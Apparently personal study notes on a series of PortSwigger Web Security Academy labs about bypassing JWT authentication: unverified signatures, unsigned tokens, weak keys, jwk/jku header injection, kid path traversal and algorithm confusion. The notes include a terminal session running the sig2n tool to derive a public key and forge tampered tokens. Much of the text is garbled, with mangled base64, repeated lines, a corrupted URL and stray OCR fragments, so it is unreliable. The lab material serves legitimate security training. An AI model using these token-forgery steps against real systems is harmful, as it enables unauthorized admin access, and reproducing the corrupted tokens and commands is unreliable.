
Lab: JWT authentication bypass via unverified signature

This lab uses a JWT-based mechanism for handling sessions.

Due to implementation flaws, the server doesn't verify the signature of any JWTs that it receives.

To solve the lab, modify your session token to gain access to the admin panel at /admin, then delete the user carlos.

You can log in to your own account using the following credentials: wiener:peter




Lab: JWT authentication bypass via flawed signature verification


This lab uses a JWT-based mechanism for handling sessions.

The server is insecurely configured to accept unsigned JWTs.

To solve the lab, modify your session token to gain access to the admin panel at /admin.ncess.org/admin.ncess.o

You can log in to your own account using the following credentials: wiener:peter





Lab: JWT authentication bypass via weak signing key


This lab uses a JWT-based mechanism for handling sessions. It uses an extremely weak secret key to both sign and verify tokens. This can be easily brute-forced using a wordlist of common secrets.

To solve the lab, first brute-force the website's secret key. Once you've obtained this, use it to sign a modified session token that gives you access to the admin panel at

/admin, then delete the user carlos.


JW/T


You can log in to your own account using the following credentials: wiener:peter



output:







```
| Send |
```


Lab: JWT authentication bypass via jwk header injection


This lab uses a JWT-based mechanism for handling sessions. The server supports the jwk


parameter in the JWT header. This is sometimes used to embed the correct verification key directly in the token. However, it fails to check whether the provided key came from a trusted source.


To solve the lab, modify and sign a JWT that gives you access to the admin panel at /admin, then delete the user carlos.

You can log in to your own account using the following credentials: wiener:peter










Lab: JWT authentication bypass via jku header injection


This lab uses a JWT-based mechanism for handling sessions. The server supports the jku


parameter in the JWT header. However, it fails to check whether the provided URL belongs to a trusted domain before fetching the key.


To solve the lab, forge a JWT that gives you access to the admin panel at /admin, then delete the user carlos.


You can log in to your own account using the following credentials: wiener:peter













Lab: JWT authentication bypass via kid header path traversal


This lab uses a JWT-based mechanism for handling sessions. In order to verify the signature, the server uses the kid parameter in JWT header to fetch the relevant key from its filesystem.

To solve the lab, forge a JWT that gives you access to the admin panel at <code>/admin</code>, then delete the user <code>carlos</code>.

You can log in to your own account using the following credentials: wiener:peter







Lab: JWT authentication bypass via algorithm confusion


This lab uses a JWT-based mechanism for handling sessions. It uses a robust RSA key pair to sign and verify tokens. However, due to implementation flaws, this mechanism is vulnerable to algorithm confusion attacks.


To solve the lab, first obtain the server's public key. This is exposed via a standard endpoint. Use this key to sign a modified session token that gives you access to the admin panel at /admin, then delete the user carlos.


You can log in to your own account using the following credentials: wiener:peter




















Lab: JWT authentication bypass via algorithm confusion with no exposed key

This lab uses a JWT-based mechanism for handling sessions.


It uses a robust RSA key pair to sign and verify tokens. However, due to

implementation flaws, this mechanism is vulnerable to algorithm confusion attacks.

To solve the lab, first obtain the server's public key. Use this key to sign a modified session token that gives you access to the admin panel at

/admin, then delete the user carlos.

You can log in to your own account using the following credentials: wiener:peter



now again make logout


re login

and you will get new token keep both

charon@DESKTOP-U6PP1DL:~\$ docker run --rm -it portswigger/sig2n <to ken1> <token2>

charongDESKTOP-U6PPlDL:~\$ docker runrm -it portswigger/sig2n eyJraWQiOiIyMGQxOWU0Yy1iZjJhLTQ1N2Y*YmUwOC0wODhmNGM5Yjll ZmYiLCJhbGciOiJSUZIINiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cC16MTc0NzE0MDQzMCwic3ViIjoid2llbmVyIn0.pGxLxGydzoZAfB9PYasscrG RQpUs2JFaPS8z4by4eMY-CJc066cB5tq4mH_D3sxgJV2x1bK3EKfTg11lLf1mIbPgeQm4ZzDCQMiXD2CC70RR012BjFWmIPPiWB8yBQaT20MA09l5tAV30unbl lbo7i_UnpnFwfy21RkxTDb-PKvdPZ9qzYk0qaCsAveU-ihQ4bPeAprVYrYYg_p39pr4rhmf-a75IwJ9ld4bB8GA7dU0B81yHThuAv1Ew2JBTeP0NwSk-9eyr CObHMP_sjsfiXw_Bls3bofMApngdh9UxF_GyKCBqaKaXq9eqJZaY98-BJX4X2d-516X0ULwtU7W9caA eyJzaWQioiIyM6QxOWU0YyliZjJhLTQ1N2YtYmUw OLUMUDHMNGM5YjlLZMY1LLJhbGciOiJSUZIINiJ9.eyJpc3MiOiJwb3J0c3dpZd2dlciIsImV4cC16MTc0NZE0MDQ1Nywic3ViIjoid2llbmVyIn0.QMCtJM0 -D5jfM6UNekBw34Ma_kZR5qezhk9hv6ctDORlSY_xvFnIFac3QasHEWukjc2KZPtk7NrThYGiwR8FJtKFL-90a0-iikuHBd92Y4m_z383obae7g47IYRSGO1 gKM3rA6YanAIoXXF0FeKFAZxYC0oFcmpkGMiBIeDDjQbmy6GeN2zjiRh5Exk8iKsVX2LoOJFpvN55VTCDxomGsgZKwfdF9GI0RHfTsx-imjjuKXAkzago3lg	
3fVBT9Hr2gMsABCuDrPhjb4mtpii7jhhdjvojbre8qg9CasdyxbWpgqUSAtLJl6Mh4u8Ro6Ee2v080Y1bBuK0M0HfHwdoSA Unable to find image 'portswigger/sig2n:latest' locally	
latest: Pulling from portswigger/sig2n	Rady
4d32b49e2995: Pull complete	now again make logout
fd4c1550e6ae: Pull complete	now again make logout
53fa7e173a75: Pull complete leading List	re login
cb9851eb83a1: Pull complete	and you will get new token keep both
abe75c+35200: Pull complete	and you will get new token keep both
aaa5be4dc23b: Pull complete letcat python	
912e8eb4e88a: Pull complete	T 10F10F1 0C0 CFF1 0C IOMOL & deduce and it acceptations (since the least
Digest: sha256:0fla6583c2578ffc42b7f3ee3a7f718c2979bc5b83ba7e125197b368f67b26d9 Diss docker runrm -it portswigger/sig2n <toker downloaded="" for="" image="" newer="" portswigger="" sig2n:latest<="" status:="" th=""></toker>	
Running command: python3 jwt_forgery.py <token1> <token2></token2></token1>	
Optimization	
Found n with multiplier 1: Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FR0EFNSUlCQ2dLQ0FRRUF5bzN4VUF5WTVWNU1SRXpWSnAxLwpm0GNqc21lVnk0Uzc5Q3d3ZXpvNm5uSUE4YVBhLzBQb1VUS3pIc3NsRENGU29SR2hiVFJRZUhMbnc4eWJzT1M0CjIzSlpXUExwbUVNSUVhbk04cTRsanZickhSZWVVL1RoY2hrQ1pLMXpHV285d2w5czV0dzQ2RE4vVjFKbjFVV2UKMjNQMXprQ1F1eXV3Y3l60UlXWEZpYWk4dzF	





if you got 200 it means that worked if you got 302 it means that not workd

```
Cob851eb83a1: Pull complete
aa6e75c75200: Pull complete
aa6e75c75200: Pull complete
912e8eb4e88a: Pull complete
912e8eb4e88a: Pull complete
Digest: sha256:0f1a6583c2578ffc42b7f3ee3a7f718c2979bc5b83ba7e125197b16b47b2bd9
Status: Downloaded newer image for portswinger/sig2n:latest
Running command: python3 jwt_forgery.py <token1> <token2>
Found n with multiplier 1:
Base60 encoded x589 key: L50tLS1CRUdJTiBQVUJMSUMg50VZL50tL50kTUlJQklqQU5CZ2tkaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0F
RRUFSbzMUVUFSWTVNNU1SRXpwSnAxLwpmOcNqc2llVnk0Uzc5Q3d3ZXpvNmSuSUEVUBhLz8QbJVUSJ31c3NsRENGU29SRDhiVFJRZUhMbnc1eeWbZTIMbC.jj
zSlpXUExbbUVNSUVhbk04CTRSanzickh5ZWVVL1ROY2hvglpLMSpHV286ZwSczV0dgZQzReVvJFkb [FVVZUHK]NQMXpc7JFlexVY37iGDULXWEZPYWHkd2F
jZ0xcc3ZX5mQwdE0xZTY1VmRZVjBOQzN0evZGVy9.cuklVnlpZwpmVlpyZ0FRhMINBUUklJSFCRXLpNWFRUFFQUFFxkjFwcktFdmhBT3QvTBPZUFSsk0520h
lWVdhUK2nslUyvnJKCl14ZjEvWU5NJXCHhHclRmRlk5YWRh5UVZdedWU3M4aTU0Nk902IFNbmtTTD10C2RxUzNURZUMRZUMRIZVOGFdjlTqmQKM3dJREFRQUIKLS0
tLS1FTkQgUFVCTELDIEtWS0bLS0tCg==

Tampered JWT: eyJzawQiOiJtyNGQxOWU0Yy12jJbhTQ1NZYYMWWCGOWODhmNGMSYjlLZMYiLCJbbGcioiJIUzIINiJ9.eyJpc3MIOiAicG9ydHN3a
WdaZXXIICAIZXMp1jogMTc0Mz1yAQMSwgmAllYiJ16IC33aWwZXIIfQ.CTjoc2daqfFeiUoIMu3dfc7JJSyONppihu4ZqWMhkRO
Base64 encoded pkcsi key: L50tLS1CRUdJjiBSUBEgUFVCTELDIEtFNS0bLSD0VFFQXLVMBAVQXLZWV1TVJFelZKcDEVZjhjan
NtZVZSNFM3OUN3d2V6bzZubklBOGFQYS8wUG8KVVRLekhzc2xEQ0ZTb1JHaGJUUFISExudzhSYnNPUzQyM0paVlBMcGIFTULFVWSNOHE0bGg2VnJIUNVLVS
9UaApjaGctDWksxekdXbzJ3bDlzNKR3NDZETi9MUlpuMVvXTIzUDF6a0MRdXL1d2NSejlJVlhGaWFpOHcxY2dMaHNZCldKZDB0TTFLNYWEFLWMESDM3RSVK
ZjlOtxaTVWeWLnZjZacmdcYNTQVFJWNXQkVSaTVheEVBSUFBcTIxcHIKS9V2aEFPdc98ME3QkwXxTlnShVZY2FSmdLVTJwckpNeGYxLl1DTWRHR3NUZk
dZOWFkVVLPWRHVHURZGACMADTSDSNUDLINGNSVJSTJbhLTQ1NZYYYmUwOC0wODhaNCMSYjllZmYiLCJhbGci0iJIUzIINiJ9.eyJpc3Mi0iAicG9ydHN3a
WdnZXIILCAIZXhwIjogMTc0NzIyMcQkvSaTVheEVBSUFBcTIxcHIKS9V2aEFPdc98ME3QkwXxTlnShVZY2FSmdLVTJwcQkyNeGYLLSOK
Tampered JWT: eyJzawQiOiJyMcQkvSaTVheEVBSUFBcTIxcHIKS9V2aEFPdc98ME3QkwXxTlnShVZY2FSmdLVTJwcQkyNeGYLSOK
Tampered JWT: eyJzawQiOiJyMcQkvSgMVYLz
```

